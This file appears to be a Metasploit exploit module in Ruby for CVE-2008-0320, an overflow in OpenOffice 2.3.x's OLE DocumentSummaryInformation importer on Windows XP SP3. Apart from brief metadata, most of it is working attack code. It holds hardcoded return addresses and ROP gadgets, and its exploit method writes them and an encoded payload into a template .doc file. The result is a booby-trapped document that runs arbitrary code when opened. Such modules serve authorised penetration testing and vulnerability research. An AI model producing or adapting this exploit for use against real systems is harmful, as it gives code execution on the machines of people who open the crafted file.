87 lines
2.6 KiB
Ruby
87 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info={})
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super(update_info(info,
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'Name' => "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow",
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'Description' => %q{
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This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on
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Microsoft Windows XP SP3.
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By supplying a OLE file with a malformed DocumentSummaryInformation stream, an
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attacker can gain control of the execution flow, which results arbitrary code
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execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Marsu <Marsupilamipowa[at]hotmail.fr>', # Vulnerability discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2008-0320'],
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['OSVDB', '44472'],
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['BID', '28819'],
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['EDB', '5584'],
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['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=694']
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],
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'Payload' =>
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{
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'Space' => 407
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3',
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{
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'Ret' => 0x609345fe, # add esp, ebx # ... # ret from tl680mi
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'EBX' => 0xffffefa8, # EBX value
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'JmpEsp' => 0x60915cbd, # push esp # ret from tl680mi
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 17 2008",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The filename', 'msf.doc'])
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], self.class)
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end
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def exploit
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path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2008-0320.doc')
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f = File.open(path, 'rb')
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template = f.read
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f.close
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my_payload = payload.encoded
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template[115717, 4] = [target['Ret']].pack("V")
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template[115725, 4] = [target['EBX']].pack("V")
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template[115729, 4] = [target['JmpEsp']].pack("V")
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template[115808, my_payload.length] = my_payload
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file_create(template)
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end
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end
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